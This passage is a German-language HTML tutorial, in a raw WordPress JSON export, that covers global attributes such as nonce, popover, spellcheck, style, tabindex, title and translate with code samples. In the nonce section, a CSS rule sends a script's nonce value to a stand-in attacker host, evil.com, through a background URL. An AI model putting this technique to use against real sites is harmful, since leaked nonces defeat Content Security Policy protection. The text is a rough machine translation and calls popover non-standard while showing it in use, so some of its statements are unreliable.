nonce<\/span><\/h2>\nDas nonce-Attribut wird in der Inhaltssicherheitsrichtlinie verwendet (CSP), um die Ausf\u00fchrung bestimmter Inline-Skripte oder -Stile zu erm\u00f6glichen und so die Sicherheit zu erh\u00f6hen, indem die Ausf\u00fchrung unbefugten Codes verhindert wird.<\/p>\n
\r\n<meta http-equiv=Content-Security-Policy content="script-src-elem 'nonce-aaBB'">\r\n\r\nscript[nonce~="whatever"] {\r\n background: url("https:\/\/evil.com\/nonce?whatever");\r\n}\r\n<\/pre>\nBei Projekten PHP 7+ zu erzeugen ’nonce‘ Sie k\u00f6nnen die Funktion verwenden random_bytes(), das Ergebnis muss verarbeitet werden base64_encode() oder bin2hex():<\/p>\n
\r\n$nonce = base64_encode( random_bytes(128\/8) ); \/\/ base64-encoded string like: 4IG4ejFA+2r4uVTo5ZQ1hw==\r\n$nonce = bin2hex( random_bytes(128\/8) ); \/\/ Hex string like: 8153dd199525aed568a27dfd31038e4b\r\n<\/pre>\npopover<\/span><\/h2>\nDas popover-Attribut ist kein globales Standardattribut in HTML. Es kann sich auf ein benutzerdefiniertes Attribut beziehen, das in bestimmten Bibliotheken oder Frameworks verwendet wird, um zus\u00e4tzliche Informationen anzuzeigen, wenn Sie mit der Maus \u00fcber ein Element fahren oder darauf klicken.<\/p>\n
\r\n<button popovertarget="my-popover">\r\n Popover anzeigen\r\n<\/button>\r\n<div id="my-popover" popover>\r\n <p>Ich bin ein einfacher, aber cooler Popover, der mit demselben Knopf geschlossen werden kann<\/p>\r\n<\/div>\r\n<button popovertarget="my-popover" popovertargetaction="show">\r\n Popover anzeigen\r\n<\/button>\r\n<div id="my-popover" popover>\r\n <button popovertarget="my-popover" popovertargetaction="hide">\r\n <span aria-hidden="true">\u274c<\/span>\r\n <span class="sr-only">Schlie\u00dfen<\/span>\r\n <\/button>\r\n <p>Ich bin ein Popover, das nicht mit derselben Schaltfl\u00e4che geschlossen werden kann<\/p>\r\n<\/div>\r\n<\/pre>\nDas popover-Attribut es gibt zwei Bedeutungen: auto \u2014 Standardwert, muss nicht explizit angegeben werden. Es wird jeweils nur einer angezeigt. Das Popover kann durch Klicken au\u00dferhalb des Elements geschlossen werden; manual \u2014 Sie k\u00f6nnen mehrere gleichzeitig anzeigen. Das Popover kann nicht durch Klicken au\u00dferhalb des Popovers geschlossen werden.<\/p>\n\n
\r\n<button popovertarget="popover-auto">\r\n <code>popover="auto"<\/code>\r\n<\/button>\r\nTooltip\r\n<div id="popover-auto" popover="auto">\r\n <p>Ich schlie\u00dfe andere Popups. Ich schlie\u00dfe mich leicht.<\/p>\r\n<\/div>\r\n<\/pre>\n\r\n<button popovertarget="popover-manual">\r\n <code>popover="manual"<\/code>\r\n<\/button>\r\nTooltip\r\n<div id="popover-manual" popover="manual">\r\n <p>Ich schlie\u00dfe andere nicht aus. Ohne Knopf schlie\u00dfe ich nicht.<\/p>\r\n<\/div>\r\n<\/pre>\nspellcheck<\/span><\/h2>\nDas spellcheck-Attribut legt fest, ob der Inhalt des Elements vom Browser auf Rechtschreib- und Grammatikfehler \u00fcberpr\u00fcft werden soll. Weist den Browser an, zu pr\u00fcfen, ob die Rechtschreibung und Grammatik im Text korrekt sind. Obwohl das Attribut auf fast alle Elemente gesetzt werden kann, ist der Effekt nur bei Formularfeldern sp\u00fcrbar (input, textarea), sowie bearbeitbare Elemente (sie haben das Attribut gesetzt contenteditable). H\u00e4ngt von den Browsereinstellungen ab.<\/p>\n
\r\n <p contenteditable="true" spellcheck="false">\r\nFirefox deaktiviert die Rechtschreibpr\u00fcfung f\u00fcr bearbeitbare Felder (bei denen das contenteditable-Attribut auf gesetzt ist).\r\n <\/p>\r\n<\/pre>\nstyle<\/span><\/h2>\nDas style-Attribut wird verwendet, um Inline-CSS-Stile direkt auf ein HTML-Element anzuwenden, sodass Sie den Stil schnell und pr\u00e4zise \u00e4ndern k\u00f6nnen, ohne dass ein externes Stylesheet erforderlich ist. Gilt f\u00fcr Tags: a, abbr, acronym, address, applet, area, b, basefont, bdo bgsound, big, blockquote, body, br, button, caption, center, cite, code, col, colgroup, dd, del, dfn, dir, div, dl, dt, em, embed, fieldset, font, form, frame, h1, h2, h3, h4, h5, h6, hr, i, iframe, img, input, ins, isindex, kbd, label, legend, li, link, map, marquee, menu, nobr, object, ol, option, p, plaintext, pre, q, s, samp, select, small, span, strike, strong, sub, sup, table, tbody, td, textarea, tfoot, th, thead, tr, tt, u, ul, var, wbr, xmp.<\/p>\n
\r\n <p><span style="color: red; font-size: 2em">L<\/span>orem ipsum dolor \r\n sit amet, consectetuer adipiscing elit, sed diem nonummy nibh euismod tincidunt \r\n ut lacreet dolore magna aliguam erat volutpat.<\/p>\r\n<div style="width: 50%;"><\/div>\r\n<\/pre>\ntabindex<\/span><\/h2>\nDas tabindex-Attribut definiert die Reihenfolge, in der ein Element den Fokus erh\u00e4lt, wenn der Benutzer mit einer Taste auf der Seite navigiert Tab. tabindex so genannt wegen des Schl\u00fcssels Tab, die sich zwischen interaktiven Elementen bewegen. Diese Aktion wird oft auch \u201eTab\u201c oder \u201eTab\u201c genannt. Bedeutung tabindex \u2014 jede negative oder positive ganze Zahl. Zum Beispiel, 0, 1 oder -1. 0 \u2014 Element in sequenzieller Navigations- (oder Fokus-)Reihenfolge, aber die Reihenfolge selbst wird vom Browser bestimmt. 1 oder eine andere positive Zahl \u2013 Element in der Navigationsreihenfolge ohne Beteiligung des Browsers. Je h\u00f6her der Wert, desto h\u00f6her ist die Ordnung des Elements. -1 oder eine andere negative Zahl \u2013 das Element kann angeklickt werden, f\u00e4llt aber nicht in die sequentielle Navigationsreihenfolge. Das hei\u00dft, Sie k\u00f6nnen sich nicht \u00fcber die Tastatur darauf konzentrieren, auch wenn dies vorher m\u00f6glich war. Standardm\u00e4\u00dfig haben alle Tags in der Navigationsreihenfolge den Wert 0. Dies a oder area mit Attribut href, button, input, select, textarea, erstes Element summary innen details, iframe und object.<\/p>\n
Wenn mehrere Elemente die gleichen positiven Werte haben, werden sie im Code der Reihe nach aufgelistet. In diesem Beispiel liegt der Fokus zun\u00e4chst auf dem Link \u201eWhiskers\u201c, dann auf den \u201ePaws\u201c und dann auf dem \u201eTail\u201c.<\/p>\n
\r\n<a href="#mustache" tabindex="1">Whiskers<\/a>\r\n<a href="#paws" tabindex="1">Paws<\/a>\r\n<a href="#tail" tabindex="1">Tail<\/a>\r\n<\/pre>\nJedes Element unterst\u00fctzt den Fokus, sofern vorhanden tabindex<\/p>\n
\r\n<ul>\r\n <li tabindex="1">Eins<\/li>\r\n <li tabindex="0">Null<\/li>\r\n <li tabindex="2">Zwei<\/li>\r\n <li tabindex="-1">Minus eins<\/li>\r\n<\/ul>\r\n<style>\r\n li { cursor: pointer; }\r\n :focus { outline: 1px dashed green; }\r\n<\/style>\r\n<\/pre>\ntitle<\/span><\/h2>\nDas title-Attribut bietet zus\u00e4tzliche Informationen zu einem Element, die normalerweise als Tooltip angezeigt werden, wenn Sie mit der Maus \u00fcber das Element fahren. F\u00fcgt einen Tooltip mit Text hinzu, der angezeigt wird, wenn Sie mit der Maus \u00fcber ein Element fahren. Das Aussehen eines solchen Tooltips h\u00e4ngt von den Browser- und Betriebssystemeinstellungen ab und kann nicht direkt \u00fcber HTML-Code oder -Stile ge\u00e4ndert werden. Das alt-Attribut wird f\u00fcr Bilder im HTML-Tag verwendet img. Es enth\u00e4lt alternativen Text, der angezeigt wird, wenn das Bild aus irgendeinem Grund nicht geladen wird.<\/p>\n
\r\n<p title="Hier bin ich!">Tooltip-Beispiel<\/p>\r\n<img alt="Die Katze steht auf zwei Beinen und schaut aus dem Fenster" src="link_to_image.jpg">\r\n<\/pre>\ntranslate<\/span><\/h2>\nDas translate-Attribut gibt an, ob der Inhalt eines Elements \u00fcbersetzt werden soll, wenn die Seite lokalisiert wird, was eine bessere Kontrolle \u00fcber den \u00dcbersetzungsprozess erm\u00f6glicht. Das translate-Attribut bestimmt, ob der Inhalt eines bestimmten Elements \u00fcbersetzt werden kann oder nicht. Die \u00dcbersetzung kann durch verschiedene automatisierte Dienste erfolgen, beispielsweise durch Google Translate.<\/p>\n
\r\n<p translate="no">Dies darf nicht \u00fcbersetzt werden!<\/p>\r\n<p>Dieser Text kann in jede Sprache \u00fcbersetzt werden.<\/p>\r\n<\/pre>\nDas Attribut wird von \u00dcbersetzungssystemen ber\u00fccksichtigt
\n\n","protected":false},"excerpt":{"rendered":"
Globale Attribute k\u00f6nnen f\u00fcr jedes HTML-Element angegeben werden, auch f\u00fcr solche, die nicht im Standard angegeben sind. Dies bedeutet, dass alle nicht standardm\u00e4\u00dfigen Elemente diese Attribute zulassen m\u00fcssen, auch wenn die Verwendung dieser Elemente dazu f\u00fchrt, dass das Dokument nicht mehr HTML-kompatibel ist.<\/p>\n","protected":false},"author":1,"featured_media":223,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,7],"tags":[108,107,106,105,104,103,102,101,100,99,98,97,96,95,94,93],"class_list":{"0":"post-222","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-htmlverstka","8":"category-programmirovanie","9":"tag-inert","10":"tag-inputmode","11":"tag-is","12":"tag-itemid","13":"tag-itemprop","14":"tag-itemref","15":"tag-itemscope","16":"tag-itemtype","17":"tag-lang","18":"tag-nonce","19":"tag-popover","20":"tag-spellcheck","21":"tag-style","22":"tag-tabindex","23":"tag-title","24":"tag-translate"},"_links":{"self":[{"href":"https:\/\/planeta21vek.ru\/elina732\/deu\/wp-json\/wp\/v2\/posts\/222","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/planeta21vek.ru\/elina732\/deu\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/planeta21vek.ru\/elina732\/deu\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/deu\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/deu\/wp-json\/wp\/v2\/comments?post=222"}],"version-history":[{"count":2,"href":"https:\/\/planeta21vek.ru\/elina732\/deu\/wp-json\/wp\/v2\/posts\/222\/revisions"}],"predecessor-version":[{"id":277,"href":"https:\/\/planeta21vek.ru\/elina732\/deu\/wp-json\/wp\/v2\/posts\/222\/revisions\/277"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/deu\/wp-json\/wp\/v2\/media\/223"}],"wp:attachment":[{"href":"https:\/\/planeta21vek.ru\/elina732\/deu\/wp-json\/wp\/v2\/media?parent=222"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/deu\/wp-json\/wp\/v2\/categories?post=222"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/deu\/wp-json\/wp\/v2\/tags?post=222"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![](\"https:\/\/planeta21vek.ru\/elina732\/wp-content\/uploads\/2024\/10\/attribut141024.jpg\"\/)
<\/p>\n<\/p>\n